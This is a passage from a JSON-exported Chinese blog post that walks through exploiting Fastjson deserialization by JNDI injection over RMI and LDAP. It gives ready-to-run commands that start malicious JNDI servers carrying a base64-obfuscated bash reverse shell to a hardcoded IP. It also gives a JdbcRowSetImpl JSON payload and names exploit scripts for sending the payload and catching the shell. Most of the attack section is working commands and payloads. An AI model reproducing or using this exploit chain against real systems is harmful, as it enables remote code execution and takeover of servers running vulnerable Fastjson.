jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}&quot;\n<\/code><\/pre>\n<h5>\uff082\uff09\u590d\u5236\u751f\u6210\u7684 payload<\/h5>\n<pre><code>{&quot;e&quot;:{&quot;@type&quot;:&quot;java.lang.Class&quot;,&quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;},&quot;f&quot;:{&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;rmi:\/\/120.79.150.243:9999\/Object&quot;,&quot;autoCommit&quot;:true}}\n<\/code><\/pre>\n<h5>\uff083\uff09\u53d1\u9001\u5230\u76ee\u6807\u4e3b\u673a<\/h5>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115160356.png\" alt=\"Pasted image 20250115160356.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115160409.png\" alt=\"Pasted image 20250115160409.png\"><\/p>\n<h5>\uff084\uff09\u5229\u7528JNDI\u6ce8\u5165\u52a0\u8f7d\u8fdc\u7a0b RMI server \u4e0a\u7684\u5b57\u8282\u7801\u5b9e\u73b0\u53cd\u5f39shell<\/h5>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115161325.png\" alt=\"Pasted image 20250115161325.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115161348.png\" alt=\"Pasted image 20250115161348.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115161404.png\" alt=\"Pasted image 20250115161404.png\"><\/p>\n<h3>5.JNDI \u6ce8\u5165 + LDAP<\/h3>\n<p>LDAP \u662f\u57fa\u4e8e X.500 \u6807\u51c6\u7684\u8f7b\u91cf\u7ea7\u76ee\u5f55\u8bbf\u95ee\u534f\u8bae\uff0c\u76ee\u5f55\u662f\u4e00\u4e2a\u4e3a\u67e5\u8be2\u3001\u6d4f\u89c8\u548c\u641c\u7d22\u800c\u4f18\u5316\u7684\u6570\u636e\u5e93\uff0c\u5b83\u6210\u6811\u72b6\u7ed3\u6784\u7ec4\u7ec7\u6570\u636e\uff0c\u7c7b\u4f3c\u6587\u4ef6\u76ee\u5f55\u4e00\u6837\u3002<\/p>\n<pre><code>java -cp jndi_tool.jar jndi.HLDAPServer 120.79.150.243 9999 &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=\n}|{base64,-d}|{bash,-i}&quot;\n<\/code><\/pre>\n<h3>6.\u5229\u7528\u811a\u672c<\/h3>\n<h4>1\uff09jndi_marshalsec<\/h4>\n<ol>\n<li>\u542f\u52a8\u811a\u672c<\/li>\n<\/ol>\n<pre><code>python jndi_marshalsec.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115163255.png\" alt=\"Pasted image 20250115163255.png\"><\/p>\n<ol start=\"2\">\n<li>\n<p>\u5f00\u542f\u76d1\u542c<\/p>\n<\/li>\n<li>\n<p>\u53d1\u9001payload<\/p>\n<\/li>\n<\/ol>\n<pre><code>python fastjson_poc_send.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115165206.png\" alt=\"Pasted image 20250115165206.png\"><\/p>\n<ol start=\"4\">\n<li>\u83b7\u5f97shell<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115163519.png\" alt=\"Pasted image 20250115163519.png\"><\/li>\n<\/ol>\n<h4>2\uff09FastJsonVulnExp<\/h4>\n<h5>\uff081\uff09\u751f\u6210\u53cd\u5f39 shell \u7684 payload<\/h5>\n<pre><code>python fastjson_tool.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115170253.png\" alt=\"Pasted image 20250115170253.png\"><\/p>\n<h5>\uff082\uff09\u76d1\u542c\u7aef\u53e3<\/h5>\n<h5>\uff083\uff09\u53d1\u9001payload<\/h5>\n<pre><code>python fastjson_poc_send.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115170507.png\" alt=\"Pasted image 20250115170507.png\"><\/p>\n<h5>\uff084\uff09\u83b7\u53d6shell<\/h5>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250115170812.png\" alt=\"Pasted image 20250115170812.png\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001Fastjson \u7b80\u4ecb Fastjson \u662f\u963f\u91cc\u5df4\u5df4\u516c\u53f8\u5f00\u6e90\u7684\u4e00\u4e2a\u9ad8\u6027\u80fd\u7684 Java \u5e93\uff0c\u4e13\u95e8\u7528\u4e8e\u5904\u7406 J [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52,9],"tags":[],"class_list":["post-1549","post","type-post","status-publish","format-standard","hentry","category-52","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1549","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1549"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1549\/revisions"}],"predecessor-version":[{"id":1550,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1549\/revisions\/1550"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1549"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1549"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1549"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}